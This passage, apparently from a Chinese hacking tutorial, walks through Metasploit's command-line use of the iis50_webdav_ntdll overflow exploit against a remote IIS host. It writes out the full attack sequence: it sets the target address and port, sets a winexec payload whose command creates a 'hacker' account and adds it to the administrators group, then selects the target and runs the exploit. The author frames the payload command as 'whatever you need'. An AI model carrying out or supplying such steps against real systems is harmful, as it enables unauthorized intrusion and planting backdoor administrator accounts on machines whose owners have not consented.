懒人的溢出工具包：Metasploit(图)

在这个对话框中需要注意的同样是开头的信息和Available Options中的内容。在Available Options中，我们可以看到有Required和Optional的字样，Required 代表必选的意思Optional代表是可选可不选的。在下面的具体使用中我们需要用到这里面的选项。

蝴蝶：这里需要说明的是，以BSD开头的是针对BSD系统的ShellCode，以Linx开头的是针对Linux系统的ShellCode，以CMD和WIN开头的是针对Windows系统。因为为不同的系统对不同的ShellCode要求是不一样的，所一在此一定要选择合适的ShellCode才可以成功溢出。

看了这么多基本的命令介绍，下面我们实际溢出一次看看效果！
在实际的溢出中，我们要用到的是USE命令。这里我们仍然以“iis50_webdav_ntdll”溢出工具包为例。在命令行中输入“use iis50_webdav_ntdll”后会切换到“iis50_webdav_ntdll”目录下。输入Show options，查看溢出工具包要求指定输入的内容。如图6所示：

图6

可以看到有两个Required项，这里的Required是和图3中一致的。下面我们来设置这些必须的选项，在命令行下依次输入：
set RHOST 192.168.1.3
set RPORT 80
如图7所示：

图7

在Metasploit中，ShellCode是可自己指定的，怎样指定呢？很简单，依次输入输入：
set payload winexec
set CMD net user hacker 123 /add & net localgroup administrators hacker /add
如图8所示。

图8

第一个命令是指定我们需要用什么样的ShellCode，但是第2个命令是什么意思呢？大家现在回过头去看看图5。发现了什么？呵呵，还记得我提到过的必选项吗？看看Available Options中的CMD必选项和后面的说明。是的，这里的第2个命令的意思就是设置必选项CMD，其实设置的CMD的内容就是我们想要执行的命令。至于什么命令那就看大家的需要了！

   好了最基本的设置我们已经完成，最后指明目标主机的操作系统就可以发动攻击了，输入：
show targets
可以看到可供选择的操作系统类型的代表名称。接着输入：
set target 0
选定操作系统。OK，我们确认一下，输入：
Set
可以看到如图9所示的回显：

图9

   检查无误后就可以开始溢出了，输入：
Exploit
程序提示溢出开始，只不过我这次试验怎么溢出都不成功，因为对方系统早补了这个漏洞了，这里也就不把图贴出来丢人了，见谅。

    图形界面下使用Metasploit

    Metasploit图形界面的使用方法和命令行下没有太大的区别，只不过是操作方式的不同罢了：到Metasploit的安装目录下找到Msfweb.bat文件双击运行，一会后程序提示执行成功，如图10所示：

 
图10